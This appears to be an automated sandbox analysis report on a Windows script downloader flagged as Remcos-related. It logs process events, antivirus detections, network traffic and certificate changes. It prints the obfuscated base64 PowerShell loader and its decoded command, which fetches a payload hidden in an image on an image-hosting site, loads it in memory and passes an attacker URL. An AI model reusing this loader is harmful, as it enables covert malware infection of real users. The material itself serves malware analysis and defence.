E░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Sept. 17, 2023, 9:39 a.m.	thread_identifier: 2084 thread_handle: 0x000002f0 process_identifier: 2080 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002f8	1	1
ShellExecuteExW Sept. 17, 2023, 9:39 a.m.	show_type: 0 filepath_r: powershell parameters: -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"" filepath: powershell	1	1
CreateProcessInternalW Sept. 17, 2023, 9:39 a.m.	thread_identifier: 2204 thread_handle: 0x0000044c process_identifier: 2200 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.24.391//:ptth');$method.Invoke($null, $arguments)" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000450	1	1

File has been identified by 5 AntiVirus engines on VirusTotal as malicious (5 events)

Symantec	Scr.Malcode!gen102
Kaspersky	HEUR:Trojan.Script.Generic
NANO-Antivirus	Trojan.Script.Vbs-heuristic.druvzi
Ikarus	Trojan-Downloader.VBS.Remcos
Google	Detected

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 17, 2023, 9:39 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (11 events)

Data received	[
Data received	WeJý1Í¼õÎê[Ê¬:¯ëqvYÕDOWNGRD 'eÀSZÐs°ð"d©¤À¦W(§ÈCvå7À ÿ
Data received	P
Data received
Data received	A2&¤p7Ó,{D¹¿íT¨Ô§³k½û^'Þ\Ou\|K?O297éÕÜääB¬U$ Xé7Ö¸F0D õÚá\5.ÀT³XýyÓÖãQÌTsÕwÀ³" 3ÙTè\Ê`KïHY+¼C8~d7êIÄÖGY)
Data received
Data received
Data received
Data received
Data received	0
Data received	j®èß7Þs9É#Ì!¤@ïÙÎ{È7µ\ìýTiµ %¼î¾uJô

Poweshell is sending data to a remote host (2 events)

Data sent	yueJ¸pñCÁöUÅ,HÅ>~nÖ >AT¼Ë/5 ÀÀÀ À 284ÿuploaddeimagens.com.br
Data sent	FBAüâßýÐ·µÌÒCøèlÄ/_Ê²*}Ô_bìÜJÍÉqsH¤~ÃÄRAZçü Pfä0î¹%Àá$ÉÍ4(ô¶>¾"Ó\J)´£0îW.²AS:Ý`-¯ÐûÁ

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 17, 2023, 9:39 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 17, 2023, 9:39 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

156.236.72.121

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send Sept. 17, 2023, 9:39 a.m.	buffer: yueJ¸pñCÁöUÅ,HÅ>~nÖ >AT¼Ë/5 ÀÀÀ À 284ÿuploaddeimagens.com.br socket: 1444 sent: 126	1	126
send Sept. 17, 2023, 9:39 a.m.	buffer: FBAüâßýÐ·µÌÒCøèlÄ/_Ê²*}Ô_bìÜJÍÉqsH¤~ÃÄRAZçü Pfä0î¹%Àá$ÉÍ4(ô¶>¾"Ó\J)´£0îW.²AS:Ý`-¯ÐûÁ socket: 1444 sent: 134	1	134
WSASend Sept. 17, 2023, 9:39 a.m.	buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com socket: 2020		0

One or more non-whitelisted processes were created (3 events)

